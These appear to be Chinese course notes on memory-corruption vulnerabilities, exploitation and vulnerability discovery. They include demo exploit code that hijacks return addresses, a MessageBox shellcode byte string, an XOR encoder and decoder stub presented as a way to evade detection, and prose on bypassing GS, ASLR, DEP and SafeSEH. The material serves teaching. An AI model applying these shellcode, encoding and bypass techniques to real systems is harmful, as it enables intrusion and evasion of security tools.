第四章 软件漏洞

溢出漏洞基本概念

​ 漏洞也称为脆弱性（Vulnerability）

​ 缓冲区溢出漏洞：就是说，往系统中写入了超容量的数据，导致多余的数据将相邻的内存空间给覆盖了，导致了溢出

​ 我们可以利用这个覆盖来完成缓冲区溢出攻击，就是去覆盖掉相邻内存空间的一些重要数据

​ 为什么会产生缓冲区溢出？就是因为我们对自己程序的边界都没有进行检查，这样就会引发一系列的问题

​ 缓冲区溢出通常包括栈溢出、堆溢出、异常处理SEH结构溢出、单字节溢出等

栈溢出漏洞

​ 被调用的子函数中写入数据的长度，大于栈帧的基址到esp之间预留的保存局部变量的空间时，就会发生栈的溢出。要写入数据的填充方向是从低地址向高地址增长，多余的数据就会越过栈帧的基址，覆盖基址以上的地址空间

1
2
3
4
5
6
7
8
9
10
11
12

void why_here(void)
{    printf("why u r here?!\n"); 
      exit(0); 
}
void f()
{     int buff[1];
       buff[2] = (int)why_here;
} 
int main(int argc, char * argv[])
{      f();
        return 0;
}

​ 在函数f中，所声明的数组buff长度为1，但是由于没有对访问下标的值的校验，程序中对数组外的内存进行了读写。 ​ 我们观察一下函数f的局部变量buff的内存示意。Buff是静态数组，buff的值就是数组在内存的首地址。而inf buff[1]意味着开辟了一个四字节的整数数组的空间。如图所示（动画）。 ​ 函数的栈区中，局部变量区域存的是数组元素buff[0]的值。而Buff[2]则指向了返回地址。而Buff[2]赋值为why_here，意味着返回地址被写入了4字节的函数why_here的地址。这样，在函数f执行完毕恢复到主函数main继续运行时，因为返回地址被改写成了why_here函数的地址，而覆盖了原来的主函数main的下一条指令的地址，因此，发生了执行跳转。

应该怎么修改呢？

​ 我们可以将数组改为指针，这样就不会出现数组溢出的情况了

1

*(p+2)或者p[2]= (int)why_here;

​ 溢出之后，我们可以通过修改返回地址来使程序失效，或者转向执行恶意程序；也可以覆盖临近的变量，来达到更改程序的执行流程

堆溢出漏洞

堆溢出后，数据可以覆盖堆区的不同堆块的数据，带来安全威胁

​ 比如说，申请了两个堆，中间的内存距离是72字节，那么如果在第一个堆的输入中输入超过72字节，这样就会发生堆溢出，多出来的那些内容就被填充到了第二个堆块中

​ 堆溢出的危害远远大于栈溢出，堆溢出可以在程序内存的任意位置写入数据

Dword Shoot攻击

从链表上卸载（unlink）一个节点的时候会发生如下操作：

1
2

node—>blink—>flink = node—>flink ;
node—>flink—>blink = node—>blink ;

​ 如果我们通过堆溢出覆写了一个空闲堆块的块首的前向指针flink和后向指针blink，我们可以精心构造一个地址和一个数据，当这个空闲堆块从链表里卸下的时候，就获得一次向内存构造的任意地址写入一个任意数据的机会。

​ 注意，前向指针写数据，后向指针写地址

​ 具体操作可见实验部分Lab3

其他溢出漏洞

SEH结构溢出

​ 为了保证系统在遇到错误时不至于崩溃，仍能够健壮稳定地继续运行下去，Windows会对运行在其中的程序提供一次补救的机会来处理错误，这种机制就是异常处理机制。 ​异常处理结构体SEH是Windows异常处理机制所采用的重要数据结构:

• SHE结构体存放在栈中，栈中的多个SEH通过链表指针在栈内由栈顶向栈底串成单向链表;
• 位于链表最顶端的SEH通过线程环境块（TEB，Thread Environment Block）0字节偏移处的指针标识;
• 每个SEH包含两个DWORD指针：SEH链表指针和异常处理函数句柄，共8个字节。

​ SEH结构用作异常处理，主要包括如下三个方面：

• 当线程初始化时，会自动向栈中安装一个SEH，作为线程默认的异常处理。如果程序源代码中使用了_try{}_except{}或者Assert宏等异常处理机制，编译器将最终通过向当前函数栈帧中安装一个SEH来实现异常处理。
• 当异常发生时，操作系统会中断程序，并首先从TEB的0字节偏移处取出距离栈顶最近的SEH，使用异常处理函数句柄所指向的代码来处理异常。当最近的异常处理函数运行失败时，将顺着SEH链表依次尝试其他的异常处理函数。
• 如果程序安装的所有异常处理函数都不能处理这个异常，系统会调用默认的系统处理程序，通常显示一个对话框，你可以选择关闭或者最后将其附加到调试器上的调试按钮。如果没有调试器能被附加于其上或者调试器也处理不了，系统就调用ExitProcess终结程序。

SHE攻击：指通过栈溢出或者其他漏洞，使用精心构造的数据覆盖SEH链表的入口地址、异常处理函数句柄或链表指针等，实现程序执行流程的控制

单字节溢出

就是程序的缓冲区只能溢出一个字节

1
2
3
4
5
6

void single_func(char *src){
char buf[256];
int i;
for(i = 0;i <= 256;i++)
         buf[i] = src[i];	        
}

使用条件：它溢出的一个字节必须与栈帧指针紧挨，就是要求必须是函数中首个变量，一般这种情况很难出现

格式化字符串漏洞

​ printf()函数的一般形式为：printf(“format”, 输出表列)， format的结构为：%[标志][输出最小宽度][.精度][长度]类型

常见的有以下几种：

• ％d整型输出
• ％ld长整型输出
• ％o以八进制数形式输出整数
• ％x以十六进制数形式输出整数
• ％u以十进制数输出unsigned型数据(无符号数)
• ％c用来输出一个字符
• ％s用来输出一个字符串
• ％f用来输出实数，以小数形式输出

​ 格式化函数允许可变参数，根据传入的格式化字符串获知可变参数的个数和类型，并依据格式化符号进行参数的输出，如果调用这些函数时，给出了格式化符号串，但没有提供实际对应参数时，这些函数会将格式化字符串后面的多个栈中的内容取出作为参数，并根据格式化符号将其输出

举个例子，下面的程序：

1
2
3
4
5

void formatstring_func1(char *buf)
{
     char mark[] = “ABCD”;
     printf(buf);
}

​ 调用时如果传入”%x%x…%x”，则printf会打印出堆栈中的内容，不断增加%x的个数会逐渐显示堆栈中高地址的数据，从而导致堆栈中的数据泄漏。

对比debug模式和release模式的栈帧结构的不同：

​ 我们还可以实现数据的写入，利用%n来写入数据，将格式化函数输出字符串的长度，写入函数参数指定的位置

​ 还可以利用%n格式化符号和自定义打印字符串宽度，写入某内存地址任意数据

整数溢出漏洞

分为以下三类：

• 存储溢出：存储溢出是使用另外的数据类型来存储整型数造成的。例如，把一个大的变量放入一个小变量的存储区域，最终是只能保留小变量能够存储的位，其他的位都无法存储，以至于造成安全隐患
• 运算溢出：运算溢出是对整型变量进行运算时没有考虑到其边界范围，造成运算后的数值范围超出了其存储空间
• 符号溢出：整型数可分为有符号整型数和无符号整型数两种。在开发过程中，一般长度变量使用无符号整型数，然而如果程序员忽略了符号，在进行安全检查判断的时候就可能出现问题

举个例子：

1
2
3
4
5
6
7
8
9
10

char* integer_overflow(int* data,
unsigned int len){
	unsigned int size = len + 1;
	char *buffer = (char*)malloc(size);
	if(!buffer)       
                    return NULL;
	memcpy(buffer, data, len);
	buffer[len]=’\’;
      return buffer;
}

​ 该函数将用户输入的数据拷贝到新的缓冲区，并在最后写入结尾符0。如果攻击者将0xFFFFFFFF作为参数传入len，当计算size时会发生整数溢出，malloc会分配大小为0的内存块（将得到有效地址），后面执行memcpy时会发生堆溢出

攻击C++虚函数

• 多态是面向对象的一个重要特性，在C++中，这个特性主要靠对虚函数的动态调用来实现。
• C++类的成员函数声明时，若使用关键字virtual进行修饰，则被称为虚函数。
• 虚函数的入口地址被统一保存在虚表（Vtable）中。
• 对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口地址进行调用

C++虚函数和类在内存中的位置关系如图所示：

• 虚表指针保存在对象的内存空间中，紧接着虚表指针的是其他成员变量；
• 虚函数入口地址被统一存在虚表中

​ 一般来说，使用虚函数，需要通过调用虚表指针找到虚表，再从虚表中取出最终的入口地址进行调用，如果修改虚表里存储的虚函数指针被修改，就会发动虚函数攻击

其他类型漏洞

注入类漏洞

• 二进制代码注入
• 脚本注入

SQL注入

​ SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令

操作系统命令注入

​ 操作系统命令注入攻击（OS Command Injection）是指通过Web应用，执行非法的操作系统命令达到攻击的目的。大多数Web服务器都能够使用内置的API与服务器的操作系统进行几乎任何必需的交互，比如PHP中的system、exec和ASP中的wscript类函数

Web脚本语言注入

​ 常用的ASP/PHP/JSP等web脚本解释语言支持动态执行在运行时生成的代码这种特点，可以帮助开发者根据各种数据和条件动态修改程序代码，这对于开发人员来说是有利的，但这也隐藏着巨大的风险。这种类型的漏洞主要来自两个方面：

• 合并了用户提交数据的代码的动态执行。攻击者通过提交精心设计输入，使得合并用户提交数据后的代码蕴含设定的非正常业务逻辑来实施特定攻击。
• 根据用户提交的数据指定的代码文件的动态包含。多数脚本语言都支持使用包含文件（include file），这种功能允许开发者把可重复使用的代码插入到单个文件中，在需要的时候再将它们包含到相关代码文件中。如果攻击者能修改这个文件中的代码，就让受此攻击的应用执行攻击者的代码。

SOAP注入

​ 如果用户提交的数据中包含这些字符，并被直接插入到SOAP消息中，攻击者就能够破坏消息的结构，进而破坏应用程序的逻辑或造成其他不利影响

权限类漏洞

• 水平越权：相同级别（权限）的用户或者同一角色的不同用户之间，可以越权访问、修改或者删除的非法操作。水平权限漏洞一般出现在一个用户对象关联多个其他对象（个人资料、修改密码，订单信息，等）、并且要实现对关联对象的CURD的时候
• 垂直越权
  • 向上越权：是指一个低权限用户或者根本没权限也可以做高权限用户相同的事情
  • 向下越权：是一个高级别用户可以访问一个低级别的用户信息

第五章 漏洞利用

漏洞利用概念

​ 漏洞利用（exploit）是指针对已有的漏洞，根据漏洞的类型和特点而采取相应的技术方案，进行尝试性或实质性的攻击，有漏洞不一定就有Exploit（利用），但是有Exploit就肯定有漏洞

​ 漏洞利用的手段是利用shellcode来植入进程，造成漏洞的利用；漏洞利用的核心就是利用程序漏洞去劫持进程的控制权，实现控制流劫持，以便执行植入的shellcode或者达到其它的攻击目的

Exploit的结构：

Payload：能实现特定目标的Exploit的有效载荷

shellcode：执行恶意功能的代码

​ 将漏洞利用过程比作导弹发射的过程：Exploit、payload和shellcode分别是导弹发射装置、导弹和弹头。Exploit是导弹发生装置，针对目标发射导弹（payload）；导弹到达目标之后，释放实际危害的弹头（类似shellcode）爆炸；导弹除了弹头之外的其余部分用来实现对目标进行定位追踪、对弹头引爆等功能，在漏洞利用中，对应payload的非shellcode的部分

​ Exploit是指利用漏洞进行攻击的动作；Shellcode用来实现具体的功能；Payload除了包含shellcode之外，还需要考虑如何触发漏洞并让系统或者程序去执行shellcode

覆盖临接变量示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#include <stdio.h>
#include <windows.h>
#define REGCODE "12345678"
int verify (char * code){
	int flag;
	char buffer[44];
	flag=strcmp(REGCODE, code);
	strcpy(buffer, code);
	return flag; 
}
void main(){
	int vFlag=0;
	char regcode[1024];
	FILE *fp;
	LoadLibrary("user32.dll");
	if (!(fp=fopen("reg.txt","rw+")))   exit(0); 
	fscanf(fp,"%s", regcode);
	vFlag=verify(regcode);
	if (vFlag)   
 printf("wrong regcode!");
	else   
printf("passed!"); 
	fclose(fp);
}

​ verify函数的缓冲区只有44个字节，对应的栈帧如下所示

​ 所以，我们利用溢出变量来覆盖临接变量，实现控制流的劫持

​ 我们只需要淹没flag的状态位就可以了，输入buffer44个字节和1个字节的整数0，就可以将flag赋值为0了，这样就完成了对程序的破解

Shellcode代码植入示例

原理图：

我们需要做的就是利用溢出来覆盖返回地址，从而去执行植入的恶意程序

我们在植入shellcode代码前，需要做很多工作

• 弄清输入点，搞清楚他们会被存储到哪里，哪一个输入可能会造成栈溢出
• 计算函数返回地址的距离缓冲区的偏移并淹没
• 选择指令的地址，制作出一个有攻击效果的shellcode输入字符串

注入的shellcode代码，如果是nop的话需要用90填充，不能使用00，这样的话该语句就被提前中断了

Shellcode编写

简单的编写方法：

​ 第一步，用c语言编写shellcode

1
2
3
4
5
6
7

#include <stdio.h>
#include <windows.h>
void main()
{
	MessageBox(NULL,NULL,NULL,0);
	return;
}

​ 第二步，然后我们替换成对应的汇编语言代码，需要对汇编语言进行再加工，将push 0这样的语句改为xor语句

​ 然后我们就可以编写汇编语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

#include <stdio.h>
#include <windows.h>
void main(){
	LoadLibrary("user32.dll");//加载user32.dll
_asm
{
	xor ebx,ebx
	push ebx//push 0，push 0的机器代码会出现一个字节的0，因此转换为 push ebx
	push ebx
	push ebx
	push ebx
    mov eax, 77d507eah // 77d507eah是MessageBox函数在系统中的地址
	call eax
}
return;
}

第三步，我们需要找到地址中的机器码

1
2
3
4
5
6
7
8
9
10
11

#include <stdio.h>
#include <windows.h>
char ourshellcode[]="\x33\xDB\x53\x53\x53\x53\xB8\xEA\x07\xD5\x77\xFF\xD0";
void main()
{
	LoadLibrary("user32.dll");
	int *ret;
	ret=(int*)&ret+2;
	(*ret)=(int)ourshellcode;
	return;
}

​ 这样的话，我们通过定位到ret后2个位置，相当于是该函数的返回地址，进行覆盖写入shellcode，这样就完成了shellcode代码的注入

Shellcode编码

必要性：

• 字符集的差异。应用程序应用平台的不同，可能的字符集会有差异，限制exploit的稳定性。
• 绕过坏字符。针对某个应用，可能对某些“坏字符”变形或者截断而破坏exploit，比如strcpy函数对NULL字符的不可接纳性，再比如很多应用在某些处理流程中可能会限制0x0D（、0x0A（）或者0x20（空格）字符。
• 绕过安全防护检测。有很多安全检测工具是根据漏洞相应的exploit脚本特征做的检测，所以变形exploit在一定程度上可以“免杀”

一般的编码方法：

​ 对于网页的shellcode，一般采用base64编码

​ 对于二进制的机器代码的编码，我们可以采用“加壳”的手段，采用自定义编码，比如说xor加密，简单的加密等。或者说，构造一个解码程序放在shellcode开始执行的地方，完成对其的编码或者解码；当exploit成功后，shellcode顶端的代码首先执行。将shellcode原来的样子还原出来

异或编码

编码程序：是独立的。是在生成shellcode的编码阶段使用。将shellcode代码输入后，输出异或后的shellcode编码

1
2
3
4
5
6
7
8
9
10
11
12
13

void encoder(char* input, unsigned char key)
{
    int i = 0, len = 0;     
    len = strlen(input);
    unsigned char * output =  (unsigned char *)malloc(len + 1);    	
    for (i = 0; i<len; i++)
        output[i] = input[i] ^ key; 
    ……输出到文件中….
}
int main(){
    char sc[]=“0xAE………………………0x90”;
    encoder(sc, 0x44);
}

解码程序：是shellcode的一部分。下面的解码程序中，默认EAX在shellcode开始时对准shellcode起始位置，程序将每次将shellcode的代码异或特定key（0x44）后重新覆盖原先shellcode的代码。末尾，放一个空指令0x90作为结束符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

void main()
{
    __asm
    {
        add eax, 0x14 ;  越过decoder记录shellcode起始地址,eax记录当前shellcode开始地址
        xor ecx, ecx
    decode_loop:
        mov bl, [eax + ecx]
        xor bl, 0x44             ;用0x44作为key
        mov [eax + ecx], bl
        inc ecx
        cmp bl, 0x90             ;末尾放一个0x90作为结束符
        jne decode_loop
    }
}

​ 那么如何获取代码当前的地址呢？

1
2
3
4
5
6
7
8
9
10
11
12
13
14

#include <iostream>
using namespace std;
int main(int argc, char const *argv[])
{
    unsigned   int   temp;    
    __asm{
        call lable;
       lable:
        pop eax;
        mov temp,eax;
    }
    cout <<temp <<endl;
    return 0;
}

​ 重点是call开始的三句话，首先执行lable函数，功能是将eax做pop操作，就是将eax寄存器的位置抬升了一位，然后将eax的值赋给temp并输出

​ 实际上，call指令会执行push EIP，eip的值就是下一条指令pop EAX的地址，pop EAX会将栈顶的EIP出栈，保存到EAX中，所以EAX指向的就是pop EAX的地址，从14到了15（因为抬升了一位）

最终的shellcode如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

int main(){
   __asm  {
     call lable; 
     lable: pop eax; 
        add eax, 0x15            ;越过decoder记录shellcode起始地址
        xor ecx, ecx
    decode_loop:
        mov bl, [eax + ecx]
        xor bl, 0x44             ;用0x44作为key
        mov [eax + ecx], bl
        inc ecx
        cmp bl, 0x90             ;末尾放一个0x90作为结束符
        jne decode_loop 
    } 
	return 0;
}

后面跟上自己的编码就可以利用shellcode了

1
2
3
4
5
6
7
8
9
10
11

#include <stdio.h>
#include <windows.h>
char ourshellcode[]="\xE8\x00\x00\x00\x00\x58\x83\xC0\x15\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1\x77\x9f\x17\x2c\x36\x28\x20\x64\x2c\x2b\x64\x33\x2b\x2c\x2c\x21\x28\x28\xcf\x80\x17\x14\x14\x17\xfc\xae\x43\x91\x33\xbb\x94\xd4";
void main()
{
	LoadLibrary("user32.dll");
	int *ret;
	ret=(int*)&ret+2;
	(*ret)=(int)ourshellcode;
	return;
}

Windows安全防护技术

ASLR

​ 地址空间分布随机化将系统关键地址随机化，使得攻击者无法获得需要跳转的精确地址，一般来说关键地址都存储在DLL上，而GetProcAddress​函数可以获得DLL中的函数地址

GS Stack protection

​ 这是一项缓冲区溢出的检测防护技术。选择该模式时，编译器针对函数调用和返回时添加保护和检查功能的代码，在函数被调用时，在缓冲区和函数返回地址增加一个32位的随机数security_cookie，在函数返回时，调用检查函数检查security_cookie的值是否有变化。

​ security_cookie在进程启动时会随机产生，并且它的原始存储地址因Windows操作系统的ASLR机制也是随机存放的，攻击者无法对security_cookie进行篡改，当发生栈缓冲区溢出攻击时，对返回地址或其他指针进行覆盖的同时，会覆盖security_cookie的值，因此在函数调用结束返回时，对security_cookie进行检查就会发现它的值变化了，从而发现缓冲区溢出的操作

​ GS技术能够很好的防范栈的缓冲区溢出攻击。

DEP

​ 数据执行保护DEP(data execute prevention)技术可以限制内存堆栈区的代码为不可执行状态，从而防范溢出后代码的执行。启用DEP机制后，DEP机制将这些敏感区域设置不可执行的non-executable标志位，因此在溢出后即使跳转到恶意代码的地址，恶意代码也将无法运行，从而有效地阻止了缓冲区溢出攻击的执行。

• 软件DEP：编译器提供了一个链接标志/NXCOMPAT，可以在生成目标应用程序的时候使程序启用DEP保护
• 硬件DEP：需要CPU的支持,需要CPU在页表增加一个保护位NX(no execute)，来控制页面是否可执行

SafeSEH

​ SEH（Structured Exception Handler）是Windows异常处理机制所采用的重要数据结构链表。程序设计者可以根据自身需要，定义程序发生各种异常时相应的处理函数，保存在SEH中。

​ SafeSEH就是一项保护SEH函数不被非法利用的技术。微软在编译器中加入了/SafeSEH选项,采用该选项编译的程序将PE文件中所有合法的SEH异常处理函数的地址解析出来制成一张SEH函数表，放在PE文件的数据块中,用于异常处理时候进行匹配检查。

​ 在该PE文件被加载时，系统读出该SEH函数表的地址，使用内存中的一个随机数加密，将加密后的SEH函数表地址、模块的基址、模块的大小、合法SEH函数的个数等信息，放入ntdll.dll的SEHIndex结构中。在PE文件运行中，如果需要调用异常处理函数，系统会调用加解密函数解密从而获得SEH函数表地址，然后针对程序的每个异常处理函数检查是否在合法的SEH函数表中，如果没有则说明该函数非法，将终止异常处理。接着要检查异常处理句柄是否在栈上，如果在栈上也将停止异常处理。这两个检测可以防止在堆上伪造异常链和把shellcode放置在栈上的情况，最后还要检测异常处理函数句柄的有效性。

SEHOP

​ 结构化异常处理覆盖保护SEHOP（Structured Exception Handler Overwrite Protection）是微软针对SEH攻击提出的一种安全防护方案

​ SEHOP的核心是检测程序栈中的所有SEH结构链表的完整性，来判断应用程序是否受到了SEH攻击

SEHOP针对下列条件进行检测，包括：

1. SEH结构都必须在栈上，最后一个SEH结构也必须在栈上；
2. 所有的SEH结构都必须是4字节对齐的；
3. SEH结构中异常处理函数的句柄handle（即处理函数地址）必须不在栈上；
4. 最后一个SEH结构的handle必须是ntdll!FinalExceptionHandler函数F等

地址定位技术

静态shellcode地址的利用技术

​ 如果存在溢出漏洞的程序，是一个操作系统每次启动都要加载的程序，操作系统启动时为其分配的内存地址一般是固定的，则函数调用时分配的栈帧地址也是固定的

​ 这种情况下，溢出后写入栈帧的shellcode代码其内存地址也是静态不变的，所以可以直接将shellcode代码在栈帧中的静态地址覆盖原有返回地址。在函数返回时，通过新的返回地址指向shellcode代码地址，从而执行shellcode代码

基于跳板指令的地址定位技术

​ 有些软件的漏洞存在于某些动态链接库中，它们在进程运行时被动态加载，因而在下一次被重新装载到内存中时，其在内存中的栈帧地址是动态变化的，则植入的shellcode代码在内存中的起始地址也是变化的。此外，如果在使用ASLR技术的操作系统中，地址会因为引入的随机数每次发生变化，此时，需要让覆盖返回地址后新写入的返回地址能够自动定位到shellcode的起始地址

为了解决这个问题，可以利用esp寄存器的特性实现：

• 在函数调用结束后，被调用函数的栈帧被释放，esp寄存器中的栈顶指针指向返回地址在内存高地址方向的相邻位置。
• 可见，通过esp寄存器，可以准确定位返回地址所在的位置。

具体定位步骤：

• 第一步，找到内存中任意一个汇编指令jmp esp，这条指令执行后可跳转到esp寄存器保存的地址，下面准备在溢出后将这条指令的地址覆盖返回地址
• 第二步，设计好缓冲区溢出漏洞利用程序中的输入数据，使缓冲区溢出后，前面的填充内容为任意数据，紧接着覆盖返回地址的是jmp esp指令的地址，再接着覆盖与返回地址相邻的高地址位置并写入shellcode代码
• 第三步，函数调用完成后函数返回，根据返回地址中指向的jmp esp指令的地址去执行jmp esp操作，即跳转到esp寄存器中保存的地址，而函数返回后esp中保存的地址是与返回地址相邻的高地址位置，在这个位置保存的是shellcode代码，则shellcode代码被执行

​ 对于查找jmp esp的指令地址，可以在系统常用的user32.dll等动态链接库，或者其他被所有程序都加载的模块中查找，这些动态链接库或者模块加载的基地址始终是固定的

内存喷洒技术

​ 有些特殊的软件漏洞，不支持或者不能实现精确定位shellcode。同时，存在漏洞的软件其加载地址动态变化，采用shellcode的静态地址覆盖方法难以实施。由于堆分配地址随机性较大，为了解决shellcode在堆中的定位以便触发，可以采用heap spray的方法

​ 内存喷射技术的代表是堆喷洒Heap spray，也称为堆喷洒技术，是在shellcode的前面加上大量的滑板指令（slide code），组成一个非常长的注入代码段。然后向系统申请大量内存，并且反复用这个注入代码段来填充。这样就使得内存空间被大量的注入代码所占据。攻击者再结合漏洞利用技术，只要使程序跳转到堆中被填充了注入代码的任何一个地址，程序指令就会顺着滑板指令最终执行到shellcode代码

​ 滑板指令（slide code）是由大量NOP(no-operation)空指令0x90填充组成的指令序列，当遇到这些NOP指令时，CPU指令指针会一个指令接一个指令的执行下去，中间不做任何具体操作，直到“滑”过最后一个滑板指令后，接着执行这些指令后面的其他指令，往往后面接着的是shellcode代码。随着一些新的攻击技术的出现，滑板指令除了利用NOP指令填充外，也逐渐开始使用更多的类NOP指令，譬如0x0C，0x0D（回车、换行）等

​ Heap Spray技术通过使用类NOP指令来进行覆盖，对shellcode地址的跳转准确性要求不高了，从而增加了缓冲区溢出攻击的成功率。然而，Heap Spray会导致被攻击进程的内存占用非常大，计算机无法正常运转，因而容易被察觉。针对Heap Spray，对于windows系统比较好的系统防范办法是开启DEP功能，即使被绕过，被利用的概率也会大大降低

API函数自搜索技术

​ 编写通用shellcode，shellcode自身就必须具备动态的自动搜索所需API函数地址的能力，即API函数自搜索技术

定位LoadLibrary函数的步骤如下：

• 第一步：定位kernel32.dll。
• 第二步：解析kernel32.dll的导出表
• 第三步：搜索定位LoadLibrary等目标函数。
• 第四步：基于找到的函数地址，完成Shellcode的编写。

返回导向编程

​ 简称ROP，是一种新型的基于代码复用技术的攻击，它从已有的库或者可执行文件中提取指令片段，构建恶意代码

基本思想：

• 借助已存在的代码块(也叫配件，Gadget)，这些配件来自程序已经加载的模块；
• 在已加载的模块中找到一些以retn结尾的配件，把这些配件的地址布置在堆栈上, 当控制EIP并返回时候, 程序就会跳去执行这些小配件；
• 这些小配件是在别的模块代码段, 不受DEP的影响

ROP技术：

1. ROP通过ROP链（retn）实现有序汇编指令的执行。
2. ROP链由一个个ROP小配件（Gadget，相当于一个小节点）组成。
3. ROP小配件由“目的执行指令+retn指令组成”。

基于RP的漏洞利用：

1. 调用相关API关闭或绕过DEP保护。相关的API包括SetProcessDEPPlolicy、VirtualAlloc、NtSetInformationProcess、VirtualProtect等，比如VirtualProtect函数可以将内存块的属性修改为Executable。
2. 实现地址跳转，直接转向不受DEP保护的区域里保存的shellcode执行。
3. 调用相关API将shellcode写入不受DEP保护的可执行内存。进而，配合基于ROP编写的地址跳转指令，完成漏洞利用。

绕过其它安全防护

绕过GS安全机制

​ Visual Studio在实现GS安全机制的时候，除了增加Cookie，还会对栈中变量进行重新排序，比如：将字符串缓冲区分配在栈帧的最高地址上，因此，当字符串缓冲区溢出，就不能覆盖本地变量了。 ​ 但是，考虑到效率问题，它仅按照函数隐患及危害程度进行选择性保护，因此有一部分函数可能没有得到有效的保护。比如：结构成员因为互操作性问题而不能重新排列，因此当它们包含缓冲区时，这个缓冲区溢出就可以将之后其它成员覆盖和控制。

​ 正是因为GS安全机制存在这些缺陷，所以聪明的攻击者构造出了各种办法来绕过GS保护机制。David Litchfield在2003年提出了一个技术来绕过GS保护机制：如果Cookie被一个不同的值覆盖了，代码会检查是否安装了安全处理例程，如果没有，系统的异常处理器就将接管它。 ​ 如果黑客覆盖掉了一个异常处理结构，并在Cookie被检查前触发一个异常，这时栈中虽然仍然存在Cookie，但是还是可以被成功溢出。这个方法相当于是利用SEH进行漏洞攻击。可以说，GS安全机制最重要的一个缺陷是没有保护异常处理器，但这点上虽然有SEH保护机制作为后盾，但SEH保护机制也是可以被绕过的。

ASLR缺陷和绕过方法

这个技术存在很多脆弱性：

1. 为了减少虚拟地址空间的碎片，操作系统把随机加载库文件的地址限制为8位，即地址空间为256，而且随机化发生在地址前两个最有意义的字节上；
2. 很多应用程序和DLL模块并没有采用/DYNAMICBASE的编译选项；
3. 很多应用程序使用相同的系统DLL文件，这些系统DLL加载后地址就确定下来了，对于本地攻击，攻击者还是很容易就能获得所需要的地址，然后进行攻击。

还有一些其他的攻击方法：攻击未开启地址随机化的模块（作为跳板）、堆喷洒技术、部分返回地址覆盖法等。

SEH保护机制缺陷和绕过方法

​ 当一个进程中存在一个不是/SafeSEH编译的DLL或者库文件的时候，整个SafeSEH机制就可能失效。因为/SafeSEH编译选项需要.NET的编译器支持，现在仍有大量第三方库和程序没有使用该编译器编译或者没有启动/SafeSEH选项

可行的绕过方法：

• 利用未开启SafeSEH的模块作为跳板绕过：可以在未启用SafeSEH的模块里找一些跳转指令，覆盖SEH函数指针，由于这些指令在未启用SafeSEH的模块里，因此异常触发时，可以执行到这些指令。
• 利用加载模块之外的地址进行绕过：可以利用加载模块之外的地址，包括从堆中进行绕过或者其他一些特定内存绕过。

第七章 漏洞挖掘基础

方法概述

漏洞挖掘方法分类

​ 漏洞挖掘主要分为两种方法，一种是静态分析技术，一种是动态分析技术。

符号执行

​ 符号执行：使用符号值替代具体值，模拟程序的执行。

​ 三个关键点：变量符号化、程序执行模拟和约束求解

​ 变量符号化是指用一个符号值表示程序中的变量，所有与被符号化的变量相关的变量取值都会用符号值或符号值的表达式表示。

​ 程序执行模拟最重要的是运算语句和分支语句的模拟：

• 对于运算语句，由于符号执行使用符号值替代具体值，所以无法直接计算得到一个明确的结果，需要使用符号表达式的方式表示变量的值。
• 对于分支语句，每当遇到分支语句，原先的一条路径就会分裂成多条路径，符号执行会记录每条分支路径的约束条件。最终，通过采用合适的路径遍历方法，符号执行可以收集到所有执行路径的约束条件表达式。

​ 约束求解主要负责路径可达性进行判定及测试输入生成的工作。对一条路径的约束表达式，可以采用约束求解器进行求解：

• 如有解，该路径是可达的，可以得到到达该路径的输入；
• 如无解，该路径是不可达的，也无法生成到达该路径的输入。

​ 符号执行的优缺点：优点是代价小，效率高；但是我们的可能的路径会随着程序规模的增长而呈指数级增长，所以可能有时候会难以分析

​ 符号执行的用处：广泛用于软件测试和漏洞挖掘中，通过创建高覆盖率的测试用例，通过约束求解的方法来求解是否存在满足漏洞分析的规则的值

举一个例子：

1
2
3
4
5
6
7
8

int a[10];
scanf("%d", &i);
if (i > 0) {
	if (i > 10)
		i = i % 10;
	a[i] = 1;
}

​ 这一段，我们就可以通过符号执行的方式去挖掘漏洞，我们可以发现两个条件判定语句中，存在着对10这个元素的漏判，所以我们输入10就可以成功引发漏洞了

污点分析

​ 通过标记程序中的数据（外部输入数据或者内部数据）为污点，跟踪程序处理污点数据的内部流程，进而帮助人们进行深入的程序分析和理解

​ 我们首先需要确定污点源，然后需要标记和分析污点。

​ 这样我们就可以发现程序的内在逻辑与漏洞了

污点分析核心三要素：

• 污点源：是污点分析的目标来源（Source点），通常表示来自程序外部的不可信数据，包括硬盘文件内容、网络数据包等。
• 传播规则：是污点分析的计算依据，通常包括污点扩散规则和清除规则，其中普通赋值语句、计算语句可使用扩散规则，而常值赋值语句则需要利用清除规则进行计算。
• 污点检测：是污点分析的功能体现，其通常在程序执行过程中的敏感位置（Sink点）进行污点判定，而敏感位置主要包括程序跳转以及系统函数调用等。

优缺点：

​ 适用于由输入参数引发漏洞的检测，比如SQL注入漏洞等。

​ 污点分析技术具有较高的分析准确率，然而针对大规模代码的分析，由于路径数量较多，因此其分析的性能会受到较大的影响。

词法分析

​ 通过对代码进行基于文本或字符标识的匹配分析对比，以查找符合特定特征和词法规则的危险函数、API或简单语句组合。就是说，将代码文本和归纳好的缺陷模式进行匹配，然后去发现漏洞。

​ 优缺点：优点是算法较简单，性能高；缺点是只能进行表面的词法检测，在深度的检测中会出现大量漏报和误报，对于高危漏洞无法进行很好的检测

具体内容见PPT，有两个实验，需要看一下

数据流分析

​ 是一种用来获取相关数据沿着程序执行路径流动的信息分析技术，分析对象是程序执行路径上的数据流动或可能的取值，分为过程内分析和过程间分析

过程内分析只针对程序中函数内的代码进行分析，又分为：

1. 流不敏感分析（flow insensitive）：按代码行号从上而下进行分析；
2. 流敏感分析（flow sensitive）：首先产生程序控制流图（Control Flow Graph，CFG），再按照CFG的拓扑排序正向或逆向分析；
3. 路径敏感分析（path sensitive）：不仅考虑到语句先后顺序，还会考虑语句可达性，即会沿实际可执行到路径进行分析。

过程间分析则考虑函数之间的数据流，即需要跟踪分析目标数据在函数之间的传递过程。

1. 上下文不敏感分析：忽略调用位置和函数参数取值等函数调用的相关信息。
2. 上下文敏感分析：对不同调用位置调用的同一函数加以区分。

